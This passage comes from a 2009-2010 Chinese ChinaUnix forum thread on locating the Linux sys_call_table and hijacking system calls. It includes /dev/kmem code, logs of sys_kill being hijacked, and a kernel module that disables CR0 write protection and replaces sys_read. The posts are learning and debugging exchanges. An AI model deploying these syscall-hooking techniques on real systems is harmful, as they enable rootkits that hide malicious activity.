  83.     sys_call_off = (idt.off2 << 16) | idt.off1;        //idt.off2 表示地址的前16位,得到syscall地址

  84.     printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);

  85.    
  86.         /* 寻找sys_call_table的地址 */

  87.     readkmem (kmem_fd, sc_asm,sys_call_off,CALLOFF);      

  88.     p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);  //只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了,call something(,eax,4)指令的机器码是0xff 0x14 0x85,因此搜索这个字符串。

  89.     sct = *(unsigned*)(p+3); //sys_call_table地址就在0xff 0x14 0x85之后

  90.     if (p)
  91.     {

  92.         printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);

  93.     }

  94.     close(kmem_fd);
  95.     return 0;
  96. }
复制代码

作者: CUDev    时间: 2009-10-20 10:06
标题: debian lenny 2.6.26-2-686测试结果
测试代码,都可以在
http://blog.chinaunix.net/u/12592/showart_1903466.html

测试结果,/dev/kmem和lkm方式获得的sys_call_table的地址是一样的
/dev/kmem测试:
idtr base at 0xC036C000
idt80: flags=EF sel=60 off=C010388C
sys_call_table at 0xc02bfaa0, call dispatch at 0xbf8debae
addr(__kmalloc): c0171d25
kmalloc: 0xc0171d25
Old sys_uname: 0xc012df46
off: 0xc02bfc88
write: 4
Now sys_uname: 0xc0171d25
off: 0xc02bfc88
write: 4
Kernel Space allocation: 0xf6d12440
Write Kill Opcode To Kernel Buf.
addr(u per_cpu__current_task): c03b4000
addr(sys_kill): c012ba45
off: 0xf6d12440
write: 85
Write Opcode Successed!
off: 0xc02bfb34
write: 4
hijack sys_kill from 0xc012ba45[-1072514491] to 0xf6d12440[-154065856]
###NOTES to recovery sys_kill.


lkm测试:
debian-wangyao:/home/wangyao/Documents/Reports/rootkit_report/0802/code/others/print_sys_call_table# tail /var/log/kern.log
Oct 20 09:59:35 debian-wangyao kernel: [   78.431383] CPU1 attaching NULL sched-domain.
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454] CPU0 attaching sched-domain:
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]  domain 0: span 0-1
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]   groups: 0 1
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454] CPU1 attaching sched-domain:
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]  domain 0: span 0-1
Oct 20 09:59:35 debian-wangyao kernel: [   78.431454]   groups: 1 0
Oct 20 10:02:27 debian-wangyao kernel: [  252.056927] system_call: 0xc010388c
Oct 20 10:02:27 debian-wangyao kernel: [  252.056927] Here Find sys_call_table: 0xc01038ca
Oct 20 10:02:27 debian-wangyao kernel: [  252.056927] sys_call_table: 0xc02bfaa0

作者: W.Z.T    时间: 2009-10-20 10:19
2.6.x以后 kmem都没了, mem都不让写了, 别搞这些了, 有时间多搞搞lkm的吧
作者: Godbach    时间: 2009-10-20 10:19
标题: 回复 #27 CUDev 的帖子
CUDev兄,你测试一下我在22楼的代码
作者: CUDev    时间: 2009-10-20 10:23
标题: 回复 #26 Godbach 的帖子
不好意思,那个帖中的代码有些问题,已经更正了。
http://blog.chinaunix.net/u/12592/showart_1421096.html

[ 本帖最后由 CUDev 于 2009-10-20 10:26 编辑 ]
作者: Godbach    时间: 2009-10-20 10:24
这是我执行/dev/kmem的结果
[root@localhost misc-progs]# ./a.out
idtr base at 0xFFC18000, limit at 0x7FF
idt80: flags=0 sel=0 off=0
readkmem: mmap: Input/output error
Segmentation fault
[root@localhost misc-progs]#

以下是LKM的结果,代码是22楼的
Oct 20 10:18:41 localhost kernel: syscall intercept: Hi, poor linux!
Oct 20 10:18:41 localhost kernel: intercept: function:get_sys_call_table-L196: idtr base at 0xC12B2000, limit at 0x7FF
Oct 20 10:18:41 localhost kernel: intercept: function:get_sys_call_table-L204: idt80: flags=EF sel=60 off=C1003CC4
Oct 20 10:18:41 localhost kernel: intercept: function:get_sys_call_table-L220: sys_call_table at 0xc11f14e0, call dispatch at 0xc3eadeaa
Oct 20 10:18:41 localhost kernel: intercept: function:intercept_init-L276: sys call table address c11f14e0
Oct 20 10:18:41 localhost kernel: intercept: function:new_open-L234: call open()
Oct 20 10:18:45 localhost last message repeated 19 times
Oct 20 10:18:45 localhost kernel: syscall intercept: bye, poor linux!

作者: CUDev    时间: 2009-10-20 10:29
看结果/dev/kmem输出是不对的。
作者: Godbach    时间: 2009-10-20 10:31
标题: 回复 #32 CUDev 的帖子
现在获得的idtr.base正确了吗
作者: Godbach    时间: 2009-10-20 10:36
其实这个地方你的测试例程和我22的LKM得到的idtr.base不一致,是在代码比较靠前的部分,也就是执行指令sidt的结果不一致
int main (int argc, char **argv)
{
unsigned sys_call_off;
int kmem_fd;  // /dev/kmem文件描述符
unsigned sct;
char sc_asm[CALLOFF],*p;

/* 获得IDTR寄存器的值 */
asm ("sidt %0" : "=m" (idtr));
printf("idtr base at 0x%X\n",(int)idtr.base);

作者: CUDev    时间: 2009-10-20 10:37
标题: 回复 #33 Godbach 的帖子
也不太对,你试一下
http://blog.chinaunix.net/u/12592/showart_1421096.html
中的/dev/kmem的代码。

BTW:你的测试环境是什么?
作者: Godbach    时间: 2009-10-20 10:39
原帖由 CUDev 于 2009-10-20 10:37 发表
也不太对,你试一下
http://blog.chinaunix.net/u/12592/showart_1421096.html
中的/dev/kmem的代码。

BTW:你的测试环境是什么?

我测试的/dev/kmem提示的错误就和上面我贴出的一样,估计是/dev/kmem不让操作。

但是我觉得应该不会影响前面sidt的结果吧。

我的测试环境是用的RHEL 5.2.然后自己编译的内核2.6.18.3
作者: CUDev    时间: 2009-10-20 10:43
恩,RH系列的发行版,应该都是禁掉/dev/kmem的,我这边的RHEL5,就没有没有/dev/kmem这个设备。
作者: Godbach    时间: 2009-10-20 10:48
原帖由 CUDev 于 2009-10-20 10:43 发表
恩,RH系列的发行版,应该都是禁掉/dev/kmem的,我这边的RHEL5,就没有没有/dev/kmem这个设备。

我这里有/dev/kmem,但是不让读取
[root@localhost ~]# cat /dev/kmem
cat: /dev/kmem: Bad address
作者: Godbach    时间: 2009-10-20 10:49
原帖由 CUDev 于 2009-10-20 10:43 发表
恩,RH系列的发行版,应该都是禁掉/dev/kmem的,我这边的RHEL5,就没有没有/dev/kmem这个设备。


会不会是因为/dev/kmem不让读取,导致用户空间sidt执行的结果也不对。

你测试的情况,LKM的方式和应用程序的方式得到的idtr.base是不是也不一样?
作者: CUDev    时间: 2009-10-20 10:51
标题: 回复 #38 Godbach 的帖子
可以看一下kernel log的输出,在后面的版本中已经增加了对/dev/kmem和/dev/mem的访问控制。具体代码,可以查看drivers/char/mem.c
作者: Godbach    时间: 2009-10-20 11:03
标题: 回复 #40 CUDev 的帖子
看一下我39楼的问题
作者: Godbach    时间: 2009-10-20 11:11
标题: 回复 #40 CUDev 的帖子
刚刚看了你博客上一篇文章《通过/dev/mem进行恶意代码注入》:
在大多数的虚拟机中将无法顺利的读取IDTR。因为lidt指令是一个特权指令,将会产生一个异常,并被VM所捕获。这样可以使VM为每一个操作系统维持一个虚拟的IDTR。因为sidt指令没有被处理,它将会返回一个伪造的IDTR地址,通常会大于0xFFC00000。

我测试的环境是虚拟机,要是按照上面的说法,用户控件的sidt指令估计没有被处理,返回的idtr是不真实的。而且也就是大于0xFFC00000。我切换到物理机测试一下。
作者: Godbach    时间: 2009-10-20 11:50
在大多数的虚拟机中将无法顺利的读取IDTR。因为lidt指令是一个特权指令,将会产生一个异常,并被VM所捕获。这样可以使VM为每一个操作系统维持一个虚拟的IDTR。因为sidt指令没有被处理,它将会返回一个伪造的IDTR地址,通常会大于0xFFC00000。


经过物理机上测试,我在22楼的LKM代码和CUDev兄的应用空间代码的测试结果一致,也正好验证了虚拟机上无法顺利读取IDTR的情况。

呵呵,这个问题也算有结果了。
作者: CUDev    时间: 2009-10-20 12:24
标题: 回复 #42 Godbach 的帖子
汗!原来你是在虚拟机里面做测试啊
作者: Godbach    时间: 2009-10-20 13:20
标题: 回复 #44 CUDev 的帖子
呵呵,是啊。

以后再说测试环境的时候,若是虚拟机,我会记得说明的。有些内核的测试,虚拟机和物理机会有很大区别的。
作者: zw2002    时间: 2009-10-28 09:28
收藏,学习中。
作者: 空灵静世    时间: 2009-10-28 09:58
看错了

[ 本帖最后由 空灵静世 于 2009-10-28 10:11 编辑 ]
作者: 空灵静世    时间: 2009-10-28 10:07
看下我的问题,我的代码试图替换read系统调用,但insmod之后,体统会回到login界面,然后一直提示错误的文件描述符,为什么?代码如下
#include <linux/fs.h>
#include <linux/unistd.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
int errno;
int orig_cr0;
static inline _syscall3(ssize_t,read,int,fd,void*,buf,size_t,count);
static inline _syscall3(ssize_t,write,int,fd,void*,buf,size_t,count);
int (*original_read)(int,void *,size_t);
int (*original_write)(int ,void *,size_t);
struct {
        unsigned short limit;
        unsigned int base;
}__attribute__((packed)) idtr;
struct {
        unsigned short off1;
        unsigned short sel;
        unsigned char none,flagg;
        unsigned short off2;
}__attribute__((packed)) idt;

unsigned int clear_and_return_cr0(void)
{
    unsigned int cr0 = 0;
    unsigned int ret;

    asm volatile ("movl %%cr0, %%eax"
            : "=a"(cr0)
         );
    ret = cr0;

    /*clear the 20th bit of CR0,*/
    cr0 &= 0xfffeffff;
    asm volatile ("movl %%eax, %%cr0"
            :
            : "a"(cr0)
         );
    return ret;
}
void setback_cr0(unsigned int val)
{
    asm volatile ("movl %%eax, %%cr0"
            :

            : "a"(val)
         );
}

void ** get_sys_call_table(void){
        unsigned int sys_call_off;
        unsigned int sys_call_table;
        unsigned char *p;
        int i;
        asm("sidt %0":"=m"(idtr));
        printk("addr of idtr:%x\n",&idtr);

        memcpy(&idt,(void *)(idtr.base+8*0x80),sizeof(idt));
        sys_call_off = (idt.off2<< 16|idt.off1);
        printk("addr of idt ox80:%x\n",sys_call_off);
        p =(unsigned char *)sys_call_off;
        for (i=0;i<100;i++){
                if (p==0xff && p[i+1]==0x14 && p[i+2] == 0x85){
                        sys_call_table = *(unsigned int *)(p+i+3);
                        printk("i:[%d],addr of sys_call_table:%x\n",i,sys_call_table);
                        return sys_call_table;
                }
        }
        return (void **)0;
}

int mystrncmp(char *str1,char *str2,int len){
        int index = 0 ;
        for (;index < len && *str1 && *str2;index++){
                if (*(str1++) != *(str2++))
                        return -1;
        }
        if (index >=len)
                return 0;
        return -1;
}
int hacked_read(int fd,char *buf,size_t count){
        int res = original_read(fd,buf,count); //与int res = (*original_read)(fd,buf,count);情况相同
        return res;

}
int hacked_write(int fd,char *buf,size_t count){
        int res = 0;
/*      if (mystrncmp(buf,"zhzh",4)){
                buf[0] = 'a';
                buf[1] = 'b';
                buf[2] = 'c';
                buf[3] = 'd';
        }
*/
        res = original_write(fd,buf,count);
        return res;

}
int init_module(void){
        void **sys_call_table = get_sys_call_table();
        original_read = sys_call_table[__NR_read];
        original_write = sys_call_table[__NR_write];
        orig_cr0 = clear_and_return_cr0();
        sys_call_table[__NR_read]= hacked_read;
//      sys_call_table[__NR_write]= hacked_write;
        setback_cr0(orig_cr0);
        return 0;
}

void cleanup_module(void)

{       void **sys_call_table = get_sys_call_table();
        orig_cr0 = clear_and_return_cr0();
        sys_call_table[__NR_read] = original_read;
//      sys_call_table[__NR_write] = original_write;
        setback_cr0(orig_cr0);
}


[ 本帖最后由 空灵静世 于 2009-10-28 10:18 编辑 ]
作者: Godbach    时间: 2009-10-28 10:20
  1. int (*original_read)(int,void *,size_t);
  2. int (*original_write)(int ,void *,size_t);
复制代码

内核中的read和wirte的接口就是你上面所列出的吗?
作者: 空灵静世    时间: 2009-10-28 10:36
谢谢楼上的,是这个出错了^_^
作者: g84ch    时间: 2009-11-10 12:16
一直忙着找工作,好久没来了,呵呵,又讨论出这么多东西啊。。。学习学习~~~
作者: hacktao    时间: 2009-11-27 21:14
来学习下!
作者: snoopy3810    时间: 2009-11-29 16:45
非常感谢楼主所提供的代码,以及楼上所有人的回复,还有很多东西要学,很多路要走啊,赞cu :)
作者: wayling    时间: 2010-08-28 13:46
借问一下 0xff , 0x14 , 0x85是什么东西阿??

THX
作者: Godbach    时间: 2010-08-28 14:28
就是执行调用时的call指令,后面跟着的参数就是系统调用表。
作者: Godbach    时间: 2010-08-28 14:29
当时我也看了一些系统劫持调用的东西,以及参考LZ的,进行了一些实践和总结。
可以看一下这篇文章
Linux下实现劫持系统调用的总结




欢迎光临 Chinaunix (http://bbs.chinaunix.net/) Powered by Discuz! X3.2